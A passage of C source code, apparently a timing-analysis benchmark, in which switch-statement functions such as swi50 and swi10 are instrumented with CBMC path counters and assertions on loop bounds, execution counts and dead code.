CBMC\n __count_3_113++;\n #endif\n c++;\n break;\n case 110:\n #ifdef CBMC\n __count_114_125++;\n #endif\n c++;\n break;\n case 111:\n #ifdef CBMC\n __count_115_125++;\n #endif\n c++;\n break;\n case 112:\n #ifdef CBMC\n __count_3_116++;\n #endif\n c++;\n break;\n case 113:\n #ifdef CBMC\n __count_3_117++;\n #endif\n c++;\n break;\n case 114:\n #ifdef CBMC\n __count_3_118++;\n #endif\n c++;\n break;\n case 115:\n #ifdef CBMC\n __count_119_125++;\n #endif\n c++;\n break;\n case 116:\n #ifdef CBMC\n __count_120_125++;\n #endif\n c++;\n break;\n case 117:\n #ifdef CBMC\n __count_3_121++;\n #endif\n c++;\n break;\n case 118:\n #ifdef CBMC\n __count_122_125++;\n #endif\n c++;\n break;\n case 119:\n #ifdef CBMC\n __count_123_125++;\n #endif\n c++;\n break;\n default:\n #ifdef CBMC\n __count_124_125++;\n #endif\n c--;\n break;\n }\n }\n \n #ifdef CBMC\n __count_126_127++;\n __count_127++;\n #endif\n \n #ifdef CBMC\nassert(__count_126_2 <= 121); // Loop counter property\nassert(__count_127 >= 1); // Lower capacity constraint\nassert(__count_127 <= 1); // Upper capacity constraint\nassert(__count_3_4 >= 1); // Lower capacity constraint\nassert(__count_3_4 <= 1); // Upper capacity constraint\nassert(__count_3_5 >= 1); // Lower capacity constraint\nassert(__count_3_5 <= 1); // Upper capacity constraint\nassert(__count_3_6 >= 1); // Lower capacity constraint\nassert(__count_3_6 <= 1); // Upper capacity constraint\nassert(__count_3_7 >= 1); // Lower capacity constraint\nassert(__count_3_7 <= 1); // Upper capacity constraint\nassert(__count_3_9 >= 1); // Lower capacity constraint\nassert(__count_3_9 <= 1); // Upper capacity constraint\nassert(__count_3_12 >= 1); // Lower capacity constraint\nassert(__count_3_12 <= 1); // Upper capacity constraint\nassert(__count_3_13 >= 1); // Lower capacity constraint\nassert(__count_3_13 <= 1); // Upper capacity constraint\nassert(__count_3_14 >= 1); // Lower capacity constraint\nassert(__count_3_14 <= 1); // Upper capacity constraint\nassert(__count_3_17 >= 1); // Lower capacity constraint\nassert(__count_3_17 <= 1); // Upper capacity constraint\nassert(__count_3_20 >= 1); // Lower capacity constraint\nassert(__count_3_20 <= 1); // Upper capacity constraint\nassert(__count_3_21 >= 1); // Lower capacity constraint\nassert(__count_3_21 <= 1); // Upper capacity constraint\nassert(__count_3_22 >= 1); // Lower capacity constraint\nassert(__count_3_22 <= 1); // Upper capacity constraint\nassert(__count_3_25 >= 1); // Lower capacity constraint\nassert(__count_3_25 <= 1); // Upper capacity constraint\nassert(__count_3_28 >= 1); // Lower capacity constraint\nassert(__count_3_28 <= 1); // Upper capacity constraint\nassert(__count_3_29 >= 1); // Lower capacity constraint\nassert(__count_3_29 <= 1); // Upper capacity constraint\nassert(__count_3_30 >= 1); // Lower capacity constraint\nassert(__count_3_30 <= 1); // Upper capacity constraint\nassert(__count_3_33 >= 1); // Lower capacity constraint\nassert(__count_3_33 <= 1); // Upper capacity constraint\nassert(__count_3_36 >= 1); // Lower capacity constraint\nassert(__count_3_36 <= 1); // Upper capacity constraint\nassert(__count_3_37 >= 1); // Lower capacity constraint\nassert(__count_3_37 <= 1); // Upper capacity constraint\nassert(__count_3_38 >= 1); // Lower capacity constraint\nassert(__count_3_38 <= 1); // Upper capacity constraint\nassert(__count_3_41 >= 1); // Lower capacity constraint\nassert(__count_3_41 <= 1); // Upper capacity constraint\nassert(__count_3_44 >= 1); // Lower capacity constraint\nassert(__count_3_44 <= 1); // Upper capacity constraint\nassert(__count_3_45 >= 1); // Lower capacity constraint\nassert(__count_3_45 <= 1); // Upper capacity constraint\nassert(__count_3_46 >= 1); // Lower capacity constraint\nassert(__count_3_46 <= 1); // Upper capacity constraint\nassert(__count_3_49 >= 1); // Lower capacity constraint\nassert(__count_3_49 <= 1); // Upper capacity constraint\nassert(__count_3_52 >= 1); // Lower capacity constraint\nassert(__count_3_52 <= 1); // Upper capacity constraint\nassert(__count_3_53 >= 1); // Lower capacity constraint\nassert(__count_3_53 <= 1); // Upper capacity constraint\nassert(__count_3_54 >= 1); // Lower capacity constraint\nassert(__count_3_54 <= 1); // Upper capacity constraint\nassert(__count_3_57 >= 1); // Lower capacity constraint\nassert(__count_3_57 <= 1); // Upper capacity constraint\nassert(__count_3_60 >= 1); // Lower capacity constraint\nassert(__count_3_60 <= 1); // Upper capacity constraint\nassert(__count_3_61 >= 1); // Lower capacity constraint\nassert(__count_3_61 <= 1); // Upper capacity constraint\nassert(__count_3_62 >= 1); // Lower capacity constraint\nassert(__count_3_62 <= 1); // Upper capacity constraint\nassert(__count_3_65 >= 1); // Lower capacity constraint\nassert(__count_3_65 <= 1); // Upper capacity constraint\nassert(__count_3_68 >= 1); // Lower capacity constraint\nassert(__count_3_68 <= 1); // Upper capacity constraint\nassert(__count_3_69 >= 1); // Lower capacity constraint\nassert(__count_3_69 <= 1); // Upper capacity constraint\nassert(__count_3_70 >= 1); // Lower capacity constraint\nassert(__count_3_70 <= 1); // Upper capacity constraint\nassert(__count_3_73 >= 1); // Lower capacity constraint\nassert(__count_3_73 <= 1); // Upper capacity constraint\nassert(__count_3_76 >= 1); // Lower capacity constraint\nassert(__count_3_76 <= 1); // Upper capacity constraint\nassert(__count_3_77 >= 1); // Lower capacity constraint\nassert(__count_3_77 <= 1); // Upper capacity constraint\nassert(__count_3_78 >= 1); // Lower capacity constraint\nassert(__count_3_78 <= 1); // Upper capacity constraint\nassert(__count_3_81 >= 1); // Lower capacity constraint\nassert(__count_3_81 <= 1); // Upper capacity constraint\nassert(__count_3_84 >= 1); // Lower capacity constraint\nassert(__count_3_84 <= 1); // Upper capacity constraint\nassert(__count_3_85 >= 1); // Lower capacity constraint\nassert(__count_3_85 <= 1); // Upper capacity constraint\nassert(__count_3_86 >= 1); // Lower capacity constraint\nassert(__count_3_86 <= 1); // Upper capacity constraint\nassert(__count_3_89 >= 1); // Lower capacity constraint\nassert(__count_3_89 <= 1); // Upper capacity constraint\nassert(__count_3_92 >= 1); // Lower capacity constraint\nassert(__count_3_92 <= 1); // Upper capacity constraint\nassert(__count_3_93 >= 1); // Lower capacity constraint\nassert(__count_3_93 <= 1); // Upper capacity constraint\nassert(__count_3_94 >= 1); // Lower capacity constraint\nassert(__count_3_94 <= 1); // Upper capacity constraint\nassert(__count_3_97 >= 1); // Lower capacity constraint\nassert(__count_3_97 <= 1); // Upper capacity constraint\nassert(__count_3_100 >= 1); // Lower capacity constraint\nassert(__count_3_100 <= 1); // Upper capacity constraint\nassert(__count_3_101 >= 1); // Lower capacity constraint\nassert(__count_3_101 <= 1); // Upper capacity constraint\nassert(__count_3_102 >= 1); // Lower capacity constraint\nassert(__count_3_102 <= 1); // Upper capacity constraint\nassert(__count_3_105 >= 1); // Lower capacity constraint\nassert(__count_3_105 <= 1); // Upper capacity constraint\nassert(__count_3_108 >= 1); // Lower capacity constraint\nassert(__count_3_108 <= 1); // Upper capacity constraint\nassert(__count_3_109 >= 1); // Lower capacity constraint\nassert(__count_3_109 <= 1); // Upper capacity constraint\nassert(__count_3_110 >= 1); // Lower capacity constraint\nassert(__count_3_110 <= 1); // Upper capacity constraint\nassert(__count_3_113 >= 1); // Lower capacity constraint\nassert(__count_3_113 <= 1); // Upper capacity constraint\nassert(__count_3_116 >= 1); // Lower capacity constraint\nassert(__count_3_116 <= 1); // Upper capacity constraint\nassert(__count_3_117 >= 1); // Lower capacity constraint\nassert(__count_3_117 <= 1); // Upper capacity constraint\nassert(__count_3_118 >= 1); // Lower capacity constraint\nassert(__count_3_118 <= 1); // Upper capacity constraint\nassert(__count_3_121 >= 1); // Lower capacity constraint\nassert(__count_3_121 <= 1); // Upper capacity constraint\nassert(__count_8_125 >= 1); // Lower capacity constraint\nassert(__count_8_125 <= 1); // Upper capacity constraint\nassert(__count_10_125 >= 1); // Lower capacity constraint\nassert(__count_10_125 <= 1); // Upper capacity constraint\nassert(__count_11_125 >= 1); // Lower capacity constraint\nassert(__count_11_125 <= 1); // Upper capacity constraint\nassert(__count_15_125 >= 1); // Lower capacity constraint\nassert(__count_15_125 <= 1); // Upper capacity constraint\nassert(__count_16_125 >= 1); // Lower capacity constraint\nassert(__count_16_125 <= 1); // Upper capacity constraint\nassert(__count_18_125 >= 1); // Lower capacity constraint\nassert(__count_18_125 <= 1); // Upper capacity constraint\nassert(__count_19_125 >= 1); // Lower capacity constraint\nassert(__count_19_125 <= 1); // Upper capacity constraint\nassert(__count_23_125 >= 1); // Lower capacity constraint\nassert(__count_23_125 <= 1); // Upper capacity constraint\nassert(__count_24_125 >= 1); // Lower capacity constraint\nassert(__count_24_125 <= 1); // Upper capacity constraint\nassert(__count_26_125 >= 1); // Lower capacity constraint\nassert(__count_26_125 <= 1); // Upper capacity constraint\nassert(__count_27_125 >= 1); // Lower capacity constraint\nassert(__count_27_125 <= 1); // Upper capacity constraint\nassert(__count_31_125 >= 1); // Lower capacity constraint\nassert(__count_31_125 <= 1); // Upper capacity constraint\nassert(__count_32_125 >= 1); // Lower capacity constraint\nassert(__count_32_125 <= 1); // Upper capacity constraint\nassert(__count_34_125 >= 1); // Lower capacity constraint\nassert(__count_34_125 <= 1); // Upper capacity constraint\nassert(__count_35_125 >= 1); // Lower capacity constraint\nassert(__count_35_125 <= 1); // Upper capacity constraint\nassert(__count_39_125 >= 1); // Lower capacity constraint\nassert(__count_39_125 <= 1); // Upper capacity constraint\nassert(__count_40_125 >= 1); // Lower capacity constraint\nassert(__count_40_125 <= 1); // Upper capacity constraint\nassert(__count_42_125 >= 1); // Lower capacity constraint\nassert(__count_42_125 <= 1); // Upper capacity constraint\nassert(__count_43_125 >= 1); // Lower capacity constraint\nassert(__count_43_125 <= 1); // Upper capacity constraint\nassert(__count_47_125 >= 1); // Lower capacity constraint\nassert(__count_47_125 <= 1); // Upper capacity constraint\nassert(__count_48_125 >= 1); // Lower capacity constraint\nassert(__count_48_125 <= 1); // Upper capacity constraint\nassert(__count_50_125 >= 1); // Lower capacity constraint\nassert(__count_50_125 <= 1); // Upper capacity constraint\nassert(__count_51_125 >= 1); // Lower capacity constraint\nassert(__count_51_125 <= 1); // Upper capacity constraint\nassert(__count_55_125 >= 1); // Lower capacity constraint\nassert(__count_55_125 <= 1); // Upper capacity constraint\nassert(__count_56_125 >= 1); // Lower capacity constraint\nassert(__count_56_125 <= 1); // Upper capacity constraint\nassert(__count_58_125 >= 1); // Lower capacity constraint\nassert(__count_58_125 <= 1); // Upper capacity constraint\nassert(__count_59_125 >= 1); // Lower capacity constraint\nassert(__count_59_125 <= 1); // Upper capacity constraint\nassert(__count_63_125 >= 1); // Lower capacity constraint\nassert(__count_63_125 <= 1); // Upper capacity constraint\nassert(__count_64_125 >= 1); // Lower capacity constraint\nassert(__count_64_125 <= 1); // Upper capacity constraint\nassert(__count_66_125 >= 1); // Lower capacity constraint\nassert(__count_66_125 <= 1); // Upper capacity constraint\nassert(__count_67_125 >= 1); // Lower capacity constraint\nassert(__count_67_125 <= 1); // Upper capacity constraint\nassert(__count_71_125 >= 1); // Lower capacity constraint\nassert(__count_71_125 <= 1); // Upper capacity constraint\nassert(__count_72_125 >= 1); // Lower capacity constraint\nassert(__count_72_125 <= 1); // Upper capacity constraint\nassert(__count_74_125 >= 1); // Lower capacity constraint\nassert(__count_74_125 <= 1); // Upper capacity constraint\nassert(__count_75_125 >= 1); // Lower capacity constraint\nassert(__count_75_125 <= 1); // Upper capacity constraint\nassert(__count_79_125 >= 1); // Lower capacity constraint\nassert(__count_79_125 <= 1); // Upper capacity constraint\nassert(__count_80_125 >= 1); // Lower capacity constraint\nassert(__count_80_125 <= 1); // Upper capacity constraint\nassert(__count_82_125 >= 1); // Lower capacity constraint\nassert(__count_82_125 <= 1); // Upper capacity constraint\nassert(__count_83_125 >= 1); // Lower capacity constraint\nassert(__count_83_125 <= 1); // Upper capacity constraint\nassert(__count_87_125 >= 1); // Lower capacity constraint\nassert(__count_87_125 <= 1); // Upper capacity constraint\nassert(__count_88_125 >= 1); // Lower capacity constraint\nassert(__count_88_125 <= 1); // Upper capacity constraint\nassert(__count_90_125 >= 1); // Lower capacity constraint\nassert(__count_90_125 <= 1); // Upper capacity constraint\nassert(__count_91_125 >= 1); // Lower capacity constraint\nassert(__count_91_125 <= 1); // Upper capacity constraint\nassert(__count_95_125 >= 1); // Lower capacity constraint\nassert(__count_95_125 <= 1); // Upper capacity constraint\nassert(__count_96_125 >= 1); // Lower capacity constraint\nassert(__count_96_125 <= 1); // Upper capacity constraint\nassert(__count_98_125 >= 1); // Lower capacity constraint\nassert(__count_98_125 <= 1); // Upper capacity constraint\nassert(__count_99_125 >= 1); // Lower capacity constraint\nassert(__count_99_125 <= 1); // Upper capacity constraint\nassert(__count_103_125 >= 1); // Lower capacity constraint\nassert(__count_103_125 <= 1); // Upper capacity constraint\nassert(__count_104_125 >= 1); // Lower capacity constraint\nassert(__count_104_125 <= 1); // Upper capacity constraint\nassert(__count_106_125 >= 1); // Lower capacity constraint\nassert(__count_106_125 <= 1); // Upper capacity constraint\nassert(__count_107_125 >= 1); // Lower capacity constraint\nassert(__count_107_125 <= 1); // Upper capacity constraint\nassert(__count_111_125 >= 1); // Lower capacity constraint\nassert(__count_111_125 <= 1); // Upper capacity constraint\nassert(__count_112_125 >= 1); // Lower capacity constraint\nassert(__count_112_125 <= 1); // Upper capacity constraint\nassert(__count_114_125 >= 1); // Lower capacity constraint\nassert(__count_114_125 <= 1); // Upper capacity constraint\nassert(__count_115_125 >= 1); // Lower capacity constraint\nassert(__count_115_125 <= 1); // Upper capacity constraint\nassert(__count_119_125 >= 1); // Lower capacity constraint\nassert(__count_119_125 <= 1); // Upper capacity constraint\nassert(__count_120_125 >= 1); // Lower capacity constraint\nassert(__count_120_125 <= 1); // Upper capacity constraint\nassert(__count_122_125 >= 1); // Lower capacity constraint\nassert(__count_122_125 <= 1); // Upper capacity constraint\nassert(__count_123_125 >= 1); // Lower capacity constraint\nassert(__count_123_125 <= 1); // Upper capacity constraint\nassert(__count_124_125 == 0); // Dead code\nassert(__count_126_127 >= 1); // Lower capacity constraint\nassert(__count_126_127 <= 1); // Upper capacity constraint\n #endif\n \n return c;\n} \n\nint \nswi50 (int c)\n{\n#ifdef CBMC\n//==========> swi50 : header 193\nint __count_129_191 = 0;\nint __count_130_131 = 0;\nint __count_130_136 = 0;\nint __count_130_137 = 0;\nint __count_130_138 = 0;\nint __count_130_139 = 0;\nint __count_130_144 = 0;\nint __count_130_145 = 0;\nint __count_130_146 = 0;\nint __count_130_147 = 0;\nint __count_130_152 = 0;\nint __count_130_153 = 0;\nint __count_130_154 = 0;\nint __count_130_155 = 0;\nint __count_130_160 = 0;\nint __count_130_161 = 0;\nint __count_130_162 = 0;\nint __count_130_163 = 0;\nint __count_130_168 = 0;\nint __count_130_169 = 0;\nint __count_130_170 = 0;\nint __count_130_171 = 0;\nint __count_130_176 = 0;\nint __count_130_177 = 0;\nint __count_130_178 = 0;\nint __count_130_179 = 0;\nint __count_130_184 = 0;\nint __count_130_185 = 0;\nint __count_130_186 = 0;\nint __count_130_187 = 0;\nint __count_132_192 = 0;\nint __count_133_192 = 0;\nint __count_134_192 = 0;\nint __count_135_192 = 0;\nint __count_140_192 = 0;\nint __count_141_192 = 0;\nint __count_142_192 = 0;\nint __count_143_192 = 0;\nint __count_148_192 = 0;\nint __count_149_192 = 0;\nint __count_150_192 = 0;\nint __count_151_192 = 0;\nint __count_156_192 = 0;\nint __count_157_192 = 0;\nint __count_158_192 = 0;\nint __count_159_192 = 0;\nint __count_164_192 = 0;\nint __count_165_192 = 0;\nint __count_166_192 = 0;\nint __count_167_192 = 0;\nint __count_172_192 = 0;\nint __count_173_192 = 0;\nint __count_174_192 = 0;\nint __count_175_192 = 0;\nint __count_180_192 = 0;\nint __count_181_192 = 0;\nint __count_182_192 = 0;\nint __count_183_192 = 0;\nint __count_188_192 = 0;\nint __count_189_192 = 0;\nint __count_190_192 = 0;\nint __count_193_129 = 0; //Loop counter\n//==========> swi50 : header 128\nint __count_194 = 0;\nint __count_193_194 = 0;\n#endif\n\n int i;\n\n for (i = 0; i < 50; i++)\n {\n #ifdef CBMC\n __count_193_129++;\n #endif \n switch (i)\n {\n case 0:\n #ifdef CBMC\n __count_130_131++;\n #endif\n c++;\n break;\n case 1:\n #ifdef CBMC\n __count_132_192++;\n #endif\n c++;\n break;\n case 2:\n #ifdef CBMC\n __count_133_192++;\n #endif\n c++;\n break;\n case 3:\n #ifdef CBMC\n __count_134_192++;\n #endif\n c++;\n break;\n case 4:\n #ifdef CBMC\n __count_135_192++;\n #endif\n c++;\n break;\n case 5:\n #ifdef CBMC\n __count_130_136++;\n #endif\n c++;\n break;\n case 6:\n #ifdef CBMC\n __count_130_137++;\n #endif\n c++;\n break;\n case 7:\n #ifdef CBMC\n __count_130_138++;\n #endif\n c++;\n break;\n case 8:\n #ifdef CBMC\n __count_130_139++;\n #endif\n c++;\n break;\n case 9:\n #ifdef CBMC\n __count_140_192++;\n #endif\n c++;\n break;\n case 10:\n #ifdef CBMC\n __count_141_192++;\n #endif\n c++;\n break;\n case 11:\n #ifdef CBMC\n __count_142_192++;\n #endif\n c++;\n break;\n case 12:\n #ifdef CBMC\n __count_143_192++;\n #endif\n c++;\n break;\n case 13:\n #ifdef CBMC\n __count_130_144++;\n #endif\n c++;\n break;\n case 14:\n #ifdef CBMC\n __count_130_145++;\n #endif\n c++;\n break;\n case 15:\n #ifdef CBMC\n __count_130_146++;\n #endif\n c++;\n break;\n case 16:\n #ifdef CBMC\n __count_130_147++;\n #endif\n c++;\n break;\n case 17:\n #ifdef CBMC\n __count_148_192++;\n #endif\n c++;\n break;\n case 18:\n #ifdef CBMC\n __count_149_192++;\n #endif\n c++;\n break;\n case 19:\n #ifdef CBMC\n __count_150_192++;\n #endif\n c++;\n break;\n case 20:\n #ifdef CBMC\n __count_151_192++;\n #endif\n c++;\n break;\n case 21:\n #ifdef CBMC\n __count_130_152++;\n #endif\n c++;\n break;\n case 22:\n #ifdef CBMC\n __count_130_153++;\n #endif\n c++;\n break;\n case 23:\n #ifdef CBMC\n __count_130_154++;\n #endif\n c++;\n break;\n case 24:\n #ifdef CBMC\n __count_130_155++;\n #endif\n c++;\n break;\n case 25:\n #ifdef CBMC\n __count_156_192++;\n #endif\n c++;\n break;\n case 26:\n #ifdef CBMC\n __count_157_192++;\n #endif\n c++;\n break;\n case 27:\n #ifdef CBMC\n __count_158_192++;\n #endif\n c++;\n break;\n case 28:\n #ifdef CBMC\n __count_159_192++;\n #endif\n c++;\n break;\n case 29:\n #ifdef CBMC\n __count_130_160++;\n #endif\n c++;\n break;\n case 30:\n #ifdef CBMC\n __count_130_161++;\n #endif\n c++;\n break;\n case 31:\n #ifdef CBMC\n __count_130_162++;\n #endif\n c++;\n break;\n case 32:\n #ifdef CBMC\n __count_130_163++;\n #endif\n c++;\n break;\n case 33:\n #ifdef CBMC\n __count_164_192++;\n #endif\n c++;\n break;\n case 34:\n #ifdef CBMC\n __count_165_192++;\n #endif\n c++;\n break;\n case 35:\n #ifdef CBMC\n __count_166_192++;\n #endif\n c++;\n break;\n case 36:\n #ifdef CBMC\n __count_167_192++;\n #endif\n c++;\n break;\n case 37:\n #ifdef CBMC\n __count_130_168++;\n #endif\n c++;\n break;\n case 38:\n #ifdef CBMC\n __count_130_169++;\n #endif\n c++;\n break;\n case 39:\n #ifdef CBMC\n __count_130_170++;\n #endif\n c++;\n break;\n case 40:\n #ifdef CBMC\n __count_130_171++;\n #endif\n c++;\n break;\n case 41:\n #ifdef CBMC\n __count_172_192++;\n #endif\n c++;\n break;\n case 42:\n #ifdef CBMC\n __count_173_192++;\n #endif\n c++;\n break;\n case 43:\n #ifdef CBMC\n __count_174_192++;\n #endif\n c++;\n break;\n case 44:\n #ifdef CBMC\n __count_175_192++;\n #endif\n c++;\n break;\n case 45:\n #ifdef CBMC\n __count_130_176++;\n #endif\n c++;\n break;\n case 46:\n #ifdef CBMC\n __count_130_177++;\n #endif\n c++;\n break;\n case 47:\n #ifdef CBMC\n __count_130_178++;\n #endif\n c++;\n break;\n case 48:\n #ifdef CBMC\n __count_130_179++;\n #endif\n c++;\n break;\n case 49:\n #ifdef CBMC\n __count_180_192++;\n #endif\n c++;\n break;\n case 50:\n #ifdef CBMC\n __count_181_192++;\n #endif\n c++;\n break;\n case 51:\n #ifdef CBMC\n __count_182_192++;\n #endif\n c++;\n break;\n case 52:\n #ifdef CBMC\n __count_183_192++;\n #endif\n c++;\n break;\n case 53:\n #ifdef CBMC\n __count_130_184++;\n #endif\n c++;\n break;\n case 54:\n #ifdef CBMC\n __count_130_185++;\n #endif\n c++;\n break;\n case 55:\n #ifdef CBMC\n __count_130_186++;\n #endif\n c++;\n break;\n case 56:\n #ifdef CBMC\n __count_130_187++;\n #endif\n c++;\n break;\n case 57:\n #ifdef CBMC\n __count_188_192++;\n #endif\n c++;\n break;\n case 58:\n #ifdef CBMC\n __count_189_192++;\n #endif\n c++;\n break;\n case 59:\n #ifdef CBMC\n __count_190_192++;\n #endif\n c++;\n break;\n default:\n #ifdef CBMC\n __count_129_191++;\n #endif\n c--;\n break;\n }\n }\n \n #ifdef CBMC\n __count_193_194++;\n __count_194++;\n #endif\n \n#ifdef CBMC\nassert(__count_193_129 <= 51); // Loop counter property\nassert(__count_129_191 == 0); // Dead code\nassert(__count_130_131 >= 1); // Lower capacity constraint\nassert(__count_130_131 <= 1); // Upper capacity constraint\nassert(__count_130_136 >= 1); // Lower capacity constraint\nassert(__count_130_136 <= 1); // Upper capacity constraint\nassert(__count_130_137 >= 1); // Lower capacity constraint\nassert(__count_130_137 <= 1); // Upper capacity constraint\nassert(__count_130_138 >= 1); // Lower capacity constraint\nassert(__count_130_138 <= 1); // Upper capacity constraint\nassert(__count_130_139 >= 1); // Lower capacity constraint\nassert(__count_130_139 <= 1); // Upper capacity constraint\nassert(__count_133_192 >= 1); // Lower capacity constraint\nassert(__count_133_192 <= 1); // Upper capacity constraint\nassert(__count_130_144 >= 1); // Lower capacity constraint\nassert(__count_130_144 <= 1); // Upper capacity constraint\nassert(__count_130_145 >= 1); // Lower capacity constraint\nassert(__count_130_145 <= 1); // Upper capacity constraint\nassert(__count_130_146 >= 1); // Lower capacity constraint\nassert(__count_130_146 <= 1); // Upper capacity constraint\nassert(__count_130_147 >= 1); // Lower capacity constraint\nassert(__count_130_147 <= 1); // Upper capacity constraint\nassert(__count_130_152 >= 1); // Lower capacity constraint\nassert(__count_130_152 <= 1); // Upper capacity constraint\nassert(__count_130_153 >= 1); // Lower capacity constraint\nassert(__count_130_153 <= 1); // Upper capacity constraint\nassert(__count_130_154 >= 1); // Lower capacity constraint\nassert(__count_130_154 <= 1); // Upper capacity constraint\nassert(__count_130_155 >= 1); // Lower capacity constraint\nassert(__count_130_155 <= 1); // Upper capacity constraint\nassert(__count_130_160 >= 1); // Lower capacity constraint\nassert(__count_130_160 <= 1); // Upper capacity constraint\nassert(__count_130_161 >= 1); // Lower capacity constraint\nassert(__count_130_161 <= 1); // Upper capacity constraint\nassert(__count_130_162 >= 1); // Lower capacity constraint\nassert(__count_130_162 <= 1); // Upper capacity constraint\nassert(__count_130_163 >= 1); // Lower capacity constraint\nassert(__count_130_163 <= 1); // Upper capacity constraint\nassert(__count_130_168 >= 1); // Lower capacity constraint\nassert(__count_130_168 <= 1); // Upper capacity constraint\nassert(__count_130_169 >= 1); // Lower capacity constraint\nassert(__count_130_169 <= 1); // Upper capacity constraint\nassert(__count_130_170 >= 1); // Lower capacity constraint\nassert(__count_130_170 <= 1); // Upper capacity constraint\nassert(__count_130_171 >= 1); // Lower capacity constraint\nassert(__count_130_171 <= 1); // Upper capacity constraint\nassert(__count_130_176 >= 1); // Lower capacity constraint\nassert(__count_130_176 <= 1); // Upper capacity constraint\nassert(__count_130_177 >= 1); // Lower capacity constraint\nassert(__count_130_177 <= 1); // Upper capacity constraint\nassert(__count_130_178 >= 1); // Lower capacity constraint\nassert(__count_130_178 <= 1); // Upper capacity constraint\nassert(__count_130_179 >= 1); // Lower capacity constraint\nassert(__count_130_179 <= 1); // Upper capacity constraint\nassert(__count_130_184 == 0); // Dead code\nassert(__count_130_185 == 0); // Dead code\nassert(__count_130_186 == 0); // Dead code\nassert(__count_130_187 == 0); // Dead code\nassert(__count_132_192 >= 1); // Lower capacity constraint\nassert(__count_132_192 <= 1); // Upper capacity constraint\nassert(__count_194 >= 1); // Lower capacity constraint\nassert(__count_194 <= 1); // Upper capacity constraint\nassert(__count_134_192 >= 1); // Lower capacity constraint\nassert(__count_134_192 <= 1); // Upper capacity constraint\nassert(__count_135_192 >= 1); // Lower capacity constraint\nassert(__count_135_192 <= 1); // Upper capacity constraint\nassert(__count_140_192 >= 1); // Lower capacity constraint\nassert(__count_140_192 <= 1); // Upper capacity constraint\nassert(__count_141_192 >= 1); // Lower capacity constraint\nassert(__count_141_192 <= 1); // Upper capacity constraint\nassert(__count_142_192 >= 1); // Lower capacity constraint\nassert(__count_142_192 <= 1); // Upper capacity constraint\nassert(__count_143_192 >= 1); // Lower capacity constraint\nassert(__count_143_192 <= 1); // Upper capacity constraint\nassert(__count_148_192 >= 1); // Lower capacity constraint\nassert(__count_148_192 <= 1); // Upper capacity constraint\nassert(__count_149_192 >= 1); // Lower capacity constraint\nassert(__count_149_192 <= 1); // Upper capacity constraint\nassert(__count_150_192 >= 1); // Lower capacity constraint\nassert(__count_150_192 <= 1); // Upper capacity constraint\nassert(__count_151_192 >= 1); // Lower capacity constraint\nassert(__count_151_192 <= 1); // Upper capacity constraint\nassert(__count_156_192 >= 1); // Lower capacity constraint\nassert(__count_156_192 <= 1); // Upper capacity constraint\nassert(__count_157_192 >= 1); // Lower capacity constraint\nassert(__count_157_192 <= 1); // Upper capacity constraint\nassert(__count_158_192 >= 1); // Lower capacity constraint\nassert(__count_158_192 <= 1); // Upper capacity constraint\nassert(__count_159_192 >= 1); // Lower capacity constraint\nassert(__count_159_192 <= 1); // Upper capacity constraint\nassert(__count_164_192 >= 1); // Lower capacity constraint\nassert(__count_164_192 <= 1); // Upper capacity constraint\nassert(__count_165_192 >= 1); // Lower capacity constraint\nassert(__count_165_192 <= 1); // Upper capacity constraint\nassert(__count_166_192 >= 1); // Lower capacity constraint\nassert(__count_166_192 <= 1); // Upper capacity constraint\nassert(__count_167_192 >= 1); // Lower capacity constraint\nassert(__count_167_192 <= 1); // Upper capacity constraint\nassert(__count_172_192 >= 1); // Lower capacity constraint\nassert(__count_172_192 <= 1); // Upper capacity constraint\nassert(__count_173_192 >= 1); // Lower capacity constraint\nassert(__count_173_192 <= 1); // Upper capacity constraint\nassert(__count_174_192 >= 1); // Lower capacity constraint\nassert(__count_174_192 <= 1); // Upper capacity constraint\nassert(__count_175_192 >= 1); // Lower capacity constraint\nassert(__count_175_192 <= 1); // Upper capacity constraint\nassert(__count_180_192 >= 1); // Lower capacity constraint\nassert(__count_180_192 <= 1); // Upper capacity constraint\nassert(__count_181_192 == 0); // Dead code\nassert(__count_182_192 == 0); // Dead code\nassert(__count_183_192 == 0); // Dead code\nassert(__count_188_192 == 0); // Dead code\nassert(__count_189_192 == 0); // Dead code\nassert(__count_190_192 == 0); // Dead code\nassert(__count_193_194 >= 1); // Lower capacity constraint\nassert(__count_193_194 <= 1); // Upper capacity constraint\n#endif\n \n return c;\n} \n\nint \nswi10 (int c)\n{\n#ifdef CBMC\n//==========> swi10 : header 214\nint __count_200_212 = 0;\nint __count_201_202 = 0;\nint __count_201_203 = 0;\nint __count_201_204 = 0;\nint __count_201_207 = 0;\nint __count_201_208 = 0;\nint __count_201_209 = 0;\nint __count_201_210 = 0;\nint __count_201_211 = 0;\nint __count_205_213 = 0;\nint __count_206_213 = 0;\nint __count_214_200 = 0; //Loop counter\n//==========> swi10 : header 199\nint __count_215 = 0;\nint __count_214_215 = 0;\n#endif\n\n int i;\n \n for (i = 0; i < 10; i++)\n {\n #ifdef CBMC\n __count_214_200++;\n #endif\n switch (i)\n {\n case 0:\n #ifdef CBMC\n __count_201_202++;\n #endif\n c++;\n break;\n case 1:\n #ifdef CBMC\n __count_201_203++;\n #endif\n c++;\n break;\n case 2:\n #ifdef CBMC\n __count_201_204++;\n #endif\n c++;\n break;\n case 3:\n #ifdef CBMC\n __count_205_213++;\n #endif\n c++;\n break;\n case 4:\n #ifdef CBMC\n __count_206_213++;\n #endif\n c++;\n break;\n case 5:\n #ifdef CBMC\n __count_201_207++;\n #endif\n c++;\n break;\n case 6:\n #ifdef CBMC\n __count_201_208++;\n #endif\n c++;\n break;\n case 7:\n #ifdef CBMC\n __count_201_209++;\n #endif\n c++;\n break;\n case 8:\n #ifdef CBMC\n __count_201_210++;\n #endif\n c++;\n break;\n case 9:\n #ifdef CBMC\n __count_201_211++;\n #endif\n c++;\n break;\n default:\n #ifdef CBMC\n __count_200_212++; \n #endif\n c--;\n break;\n }\n }\n \n #ifdef CBMC\n __count_214_215++;\n __count_215++;\n #endif\n \n#ifdef CBMC\nassert(__count_214_200 <= 11); // Loop counter property\nassert(__count_200_212 == 0); // Dead code\nassert(__count_201_202 >= 1); // Lower capacity constraint\nassert(__count_201_202 <= 1); // Upper capacity constraint\nassert(__count_201_203 >= 1); // Lower capacity constraint\nassert(__count_201_203 <= 1); // Upper capacity constraint\nassert(__count_201_204 >= 1); // Lower capacity constraint\nassert(__count_201_204 <= 1); // Upper capacity constraint\nassert(__count_201_207 >= 1); // Lower capacity constraint\nassert(__count_201_207 <= 1); // Upper capacity constraint\nassert(__count_201_208 >= 1); // Lower capacity constraint\nassert(__count_201_208 <= 1); // Upper capacity constraint\nassert(__count_201_209 >= 1); // Lower 